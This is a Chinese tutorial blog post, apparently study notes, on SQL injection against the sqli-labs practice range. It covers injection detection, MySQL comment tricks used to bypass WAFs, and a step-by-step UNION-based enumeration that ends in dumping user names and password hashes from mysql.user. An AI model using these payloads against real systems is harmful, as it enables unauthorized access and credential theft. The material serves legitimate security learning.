护网笔记(六)-- SQL注入(一)
基础知识
可参考
https://www.cnblogs.com/Ck-0ff/p/15777962.html
https://www.cnblogs.com/Ck-0ff/p/15783745.html
SQL注入
原理
SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
简而言之,SQL 注入就是在用户输入的字符串中加入 SQL 语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行,攻击者就可以执行计划外的命令或访问未被授权的数据。这里以一个PHP的SQL语句代码为例
$SQL = "select * from '某字段' where id = $id";
由于这里的参数id可以控制,且这个id被待进了数据库查询,所以一些意图不轨的人可以通过拼接SQL语句来进行攻击。
SQL注入的产生需要两个条件
1.我们传递给后端的参数是可以控制的
2.参数内容会被带入到数据库查询
sql注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或者数据库平台漏洞所致;后者主要是由于程序员未对输入进行细致地过滤。
靶场(sqli第一关)如上,在url中后面输入?id=1
可直接在数据库中查询到对应数据。
理论上,任何有数据交互的地方都可能存在注入。
注入的拦截
在代码中加入简单的过滤。
判断注入
- and 1=1 /and 1=2 回显页面不同(真假判断)
- 引号判断(单引号判断或者双引号)显示数据库报错信息或者页面回显不同(整形,字符串类型判断)
- \ (转义符)
- -1/+1回显下一个或者上一个页面(整形判断)
- and sleep(5)(判断页面返回时间)
如何快速判断注入点是字符型还是整数型
?id=1
?id=2
我们可以看到这时的结果是不一样的
?id=2-1
的结果如果是和id=2
的结果是一样的,此时就可以判断注入点一定不是整数型。
我们假设他是个整数型
select * from user where id=2
select * from user where id=2-1
如果这是个整数型他会先进行一个计算2-1此时他就会输出1的值。
就相当于是执行了select * from user where id =1;
可以在navicat上演示字符型和整数型的区别。
SQL注入的利用
MySQL中3种注释
-
#
(url编码为%23) -
-- ggh
(--后面要跟上一个或多个空格) -
/* ........ */
-
/*! ........ */
(内联注释) -
/*! /()这个没有任何意义,只是干扰,select / * ! @@version/
-
select * /*!22222from */ users;
-
如果数字(5位)大于当前MySQL版本号 相当于/* !*/里面的为一个注释
-
否则不生效(绕过waf)
由于#在url中表示的是 锚点 因此在url使用#的时候进行url编码 %23`
/* ...... */
要注意 / * !* /有特殊意义
/*! ........ */
在很多语言中都是一样的注释/**/
但是在MySQL中为了保持兼容性,比如从MySQL dump导出的sql语句能够被其他数据库直接使用,它把一些特有的仅在MySQL上的语句放在 / * ! ... */
中,这样这些语句如果在其他数据库中是不会被执行,但在MySQL中它会执行。
在mysql数据库中,单行注释有#和--,在实际操作中#号一般用%23来表示。而--则用--+来表示。因为在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,而用--+代替--,原因是+在URL被URL编码后会变成空格。
常用函数
- user() --数据库用户名
- system_user()
- current_user()
- session_user() --连接数据库的用户名
- database() --数据库名
- @@version
- version() --MySQL版本
- @@basedir
- @@datadir --数据库路径
- @@version_compile_os --操作系统版本
UNION query SQL injection(基于联合查询注入)
利用条件:
页面上有显示位
优点:
方便、快捷、易于利用
缺点:
需要显示位
- 判断列数
order by 10
order by 20
order by 15
MySQL中使用order by 可以根据需要排序检索出的数据。
其中 order by 可以按照列的位置排序
例如:select id,name,price from goods order by 3;
表示的意思是:
结果按照price字段进行升序排列
- 判断回显点
php?id=-1 union select 1,2,3,4,5
根据开发人员写的情况,有些显示位可以将查询出的多条结果同时输出出来,但是大部分都只能将查询出来的第一条结果输出。因此我们要想让我们自己的查询结果输出出来,那么就需要让它本身的查询不出结果。
- 获取当前数据库名称和当前连接数据库的用户
php?id=-1 union select 1,2,3,4,user()
php?id=-1 union select 1,2,3,4,database()
- 列出所有数据库
limit
一个一个打印出来库名
select schema_name from information_schema.schemata limit 0,1
group_concat
一次性全部显示
select group_concat(schema_name) from information_schema.schemata
- 列出mysql库中所有的表
limit
一个一个打印出来表名
select table_name from information_schema.tables where table_schema='mysql' limit 0,1
group_concat
一次性全部打印
select group_concat(table_name) from information_schema.tables where table_schema='mysql'
有时候会对单引号过滤,此时我们有两种办法
1)、如果查询的是当前的库的话就直接使用database();
2)、利用16进制来代替字符串,这样也可以绕过单引号的限制
6、列出当前数据库下的users表中所有字段
limit
一个一个打印出来表名
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
group_concat()
一次性全部显示
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
- 列出mysql数据库users表中的数据
limit
一个一个打印出来
select user,password from mysql.user limit 0,1
group_concat
一次性全部打印
select group_concat(concat(user,0x20,password)) from mysql.user
本文来自作者:CK_0ff,转载请注明原文链接:https://www.cnblogs.com/Ck-0ff/p/15786011.html